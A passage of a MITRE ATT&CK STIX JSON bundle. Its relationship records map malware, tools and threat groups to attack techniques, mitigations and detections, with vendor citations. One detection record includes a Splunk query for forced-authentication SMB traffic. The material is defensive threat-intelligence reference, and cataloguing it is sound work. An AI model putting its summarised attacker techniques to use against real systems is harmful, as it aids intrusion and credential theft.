Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-08T19:42:36.945Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can use WinRM for pivoting.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c4401bf-7a45-4d1d-a4ee-ea00788cd2aa","type":"relationship","created":"2021-08-18T20:26:22.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-31T15:25:14.376Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used multi-hop proxies to disguise the source of their malicious traffic.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c4d8c8f-9676-48c5-b902-e95a2411e266","type":"relationship","created":"2019-06-10T17:44:49.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bromium Ursnif Mar 2017","url":"https://www.bromium.com/how-ursnif-evades-detection/","description":"Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019."}],"modified":"2020-03-20T15:52:45.616Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) droppers have used COM objects to execute the malware's full executable payload.(Citation: Bromium Ursnif Mar 2017)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c52b081-7521-4b73-8603-e6d05496db0c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"},{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.653Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve IP addresses of compromised machines.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c540022-c6f3-4ca1-a3fa-f3f8fc3e0060","created":"2024-06-06T19:28:28.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T15:40:59.448Z","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) can verify the presence of specific drivers on compromised hosts including Microsoft Print to PDF and Microsoft XPS Document Writer.(Citation: Cybereason INC Ransomware November 2023)","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c542730-1f70-4f7d-8046-bb8fafdb70f8","created":"2024-03-01T21:29:51.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T00:10:21.975Z","description":"Network detection systems may be able to identify traffic for specific adversary command and control infrastructure. Correlate network traffic with data and patterns from Internet-facing resources gathered from scans to gain further insight into potential adversary C2 networks.","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--eb897572-8979-4242-a089-56f294f4c91d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c58b596-6a79-4c28-be76-40e7ae9afd8a","type":"relationship","created":"2020-05-06T20:40:19.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T20:40:19.127Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s installer plugin can schedule rundll32.exe to load the dispatcher.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c5b31ff-ba6a-47c0-adbe-ddd18845f684","created":"2022-09-29T17:40:29.147Z","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T17:40:29.147Z","description":"[PowGoop](https://attack.mitre.org/software/S1046) can receive encrypted commands from C2.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--c19d19ae-dd58-4584-8469-966bbeaa80e3","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3c5b3ca4-af5a-47dd-8dd4-57d2a690c2a9","created":"2022-04-11T16:20:44.146Z","x_mitre_version":"0.1","external_references":[{"source_name":"Apple Developer Doco Hardened Runtime","url":"https://developer.apple.com/documentation/security/hardened_runtime","description":"Apple Inc.. (2021, January 1). Hardened Runtime: Manage security protections and resource access for your macOS apps.. Retrieved March 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Ensure applications are using Apple's developer guidance which enables hardened runtime.(Citation: Apple Developer Doco Hardened Runtime)","modified":"2022-04-11T16:20:44.146Z","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c5f6c2a-7940-4cdc-8b25-811e33d9b96a","type":"relationship","created":"2019-07-16T17:24:49.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-24T13:40:53.289Z","description":"An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c630128-27ba-4c71-b09a-c9ac39e7acac","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"source_name":"McAfee Shamoon December 2018","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/","description":"Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."}],"modified":"2020-05-29T18:11:23.516Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named “ntssrv” that attempts to appear legitimate; the service's display name is “Microsoft Network Realtime Inspection Service” and its description is “Helps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols.” Newer versions create the \"MaintenaceSrv\" service, which misspells the word \"maintenance.\"(Citation: Palo Alto Shamoon Nov 2016)(Citation: McAfee Shamoon December 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3c635743-c674-4ba5-a969-ab59656774eb","created":"2022-06-09T20:02:49.720Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has used HTTP for C2 communications.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-06-09T20:28:31.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c662aa7-0ee8-4e42-b0b9-de0dc2f02a57","type":"relationship","created":"2020-11-13T21:52:00.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:52:00.732Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can send data it retrieves to the C2 server.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c67124e-e215-4c33-aff7-7a7b98735a0f","type":"relationship","created":"2020-03-14T23:12:18.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-27T17:50:37.629Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.(Citation: University of Birmingham C2)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c695c3d-7f8e-43dd-baad-b2afdfc86fc2","created":"2022-09-08T13:47:15.945Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T13:47:15.945Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used SQL injection exploits against extranet web servers to gain access.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c6a8fa7-4ff5-4ba7-9e37-a490828d7da8","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T18:43:04.793Z","description":"Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems.If attempts are detected, then investigate endpoint data sources to find the root cause.\n\nAnalytic 1 - Unusual network traffic patterns indicative of forced authentication attempts.\n\n index=network sourcetype=\"stream:tcp\" (dest_port=445 OR dest_port=80 OR dest_port=443)\n| eval Protocol=case(dest_port==445, \"SMB\", dest_port==80, \"HTTP\", dest_port==443, \"HTTPS\", true(), \"Unknown\")\n| eval SuspiciousConn=if((Protocol=\"SMB\" AND src_ip!=dest_ip AND (src_ip!=\"known_ip1\" AND dest_ip!=\"known_ip2\")), 1, 0)\n| where SuspiciousConn=1 ","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c6fad21-d9e4-4e58-b8d1-ba573b2ec6d8","created":"2023-03-29T15:46:07.687Z","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T15:46:07.687Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) has been signed with stolen digital certificates.(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c740c2b-293a-4f6b-98a8-dde4a215eea1","created":"2024-03-24T19:44:22.503Z","revoked":false,"external_references":[{"source_name":"Cider Security Top 10 CICD Security Risks","description":"Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved March 24, 2024.","url":"https://www.cidersecurity.io/top-10-cicd-security-risks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-24T19:44:22.503Z","description":"Application developers should be cautious when selecting third-party libraries to integrate into their application. Additionally, where possible, developers should lock software dependencies to specific versions rather than pulling the latest version on build.(Citation: Cider Security Top 10 CICD Security Risks)","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c766e53-1372-4b94-b7de-b3f70d4d1a91","created":"2019-03-11T20:01:20.336Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"},{"source_name":"Github PowerShell Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","url":"https://github.com/PowerShellEmpire/Empire"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-20T15:00:28.649Z","description":"[Empire](https://attack.mitre.org/software/S0363) can enumerate host system information like OS, architecture, domain name, applied patches, and more.(Citation: Github PowerShell Empire)(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c786b4b-b146-4511-b3ca-65fe7c3521e8","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:39.011Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can enumerate Registry keys.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c7ac9c1-0d30-4207-b3ec-79d53f7155d3","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for changes to MBR and VBR as they occur for indicators for suspicious activity and further analysis. Take snapshots of MBR and VBR and compare against known good samples.","source_ref":"x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c7ad637-8d4e-4baa-9cd9-7655d29e1e28","created":"2019-06-05T17:31:22.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:11:54.891Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has hooked APIs to perform a wide variety of information theft, such as monitoring traffic from browsers.(Citation: TrendMicro Ursnif Mar 2015)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c7bb2a4-eede-4dae-ac41-03782729a961","type":"relationship","created":"2019-10-04T21:56:21.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Wired Lockergoga 2019","url":"https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/","description":"Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019."}],"modified":"2019-10-04T21:56:21.628Z","description":"[LockerGoga](https://attack.mitre.org/software/S0372) has been observed shutting down infected systems.(Citation: Wired Lockergoga 2019)","relationship_type":"uses","source_ref":"malware--5af7a825-2d9f-400d-931a-e00eb9e27f48","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c7ced0b-a4d5-4206-9d98-33503122b91d","created":"2024-09-04T17:23:38.960Z","revoked":false,"external_references":[{"source_name":"Github Covenant","description":"cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.","url":"https://github.com/cobbr/Covenant"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:23:38.960Z","description":"[Covenant](https://attack.mitre.org/software/S1155) can create SCT files for installation via `Regsvr32` to deploy new Grunt listeners.(Citation: Github Covenant)","relationship_type":"uses","source_ref":"tool--05fb53c8-e2ac-4e17-a0c9-a0825e1198bf","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c8467e6-0878-4c62-afe6-55f124872089","type":"relationship","created":"2020-06-10T17:28:46.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.167Z","description":"[ABK](https://attack.mitre.org/software/S0469) has the ability to decrypt AES encrypted payloads.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c89c7b8-facc-4225-94ba-4a5126a31adc","created":"2021-04-16T21:33:50.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"},{"source_name":"PWC WellMess July 2020","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020.","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.313Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has downloaded additional tools and malware onto compromised networks.(Citation: Mandiant No Easy Breach)(Citation: PWC WellMess July 2020)(Citation: F-Secure The Dukes)(Citation: Mandiant APT29 Eye Spy Email Nov 